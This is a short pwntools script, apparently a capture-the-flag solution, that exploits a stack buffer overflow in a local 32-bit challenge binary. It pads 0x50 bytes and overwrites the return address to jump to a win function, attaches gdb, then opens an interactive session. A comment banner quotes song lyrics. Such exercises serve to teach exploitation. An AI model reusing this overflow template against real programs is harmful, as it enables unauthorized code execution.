# +------------------------------------------------+
# | Atack: Bof Win Function                        |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/05-bof_callfunction

from pwn import *

import sf

target = process("./chall-test_encrpyt19-pwn0")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=32)

bof_payload.set_input_start(0x50)
bof_payload.set_ret(0x80484dd)
payload = bof_payload.generate_payload()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Avenged Sevenfold                      |
# +------------------------------------------------+
# | Song: 4 AM                                     |
# +------------------------------------------------+
# | There comes a day                              |
# | where we all find out                          |
# | for ourselves                                  |
# +------------------------------------------------+

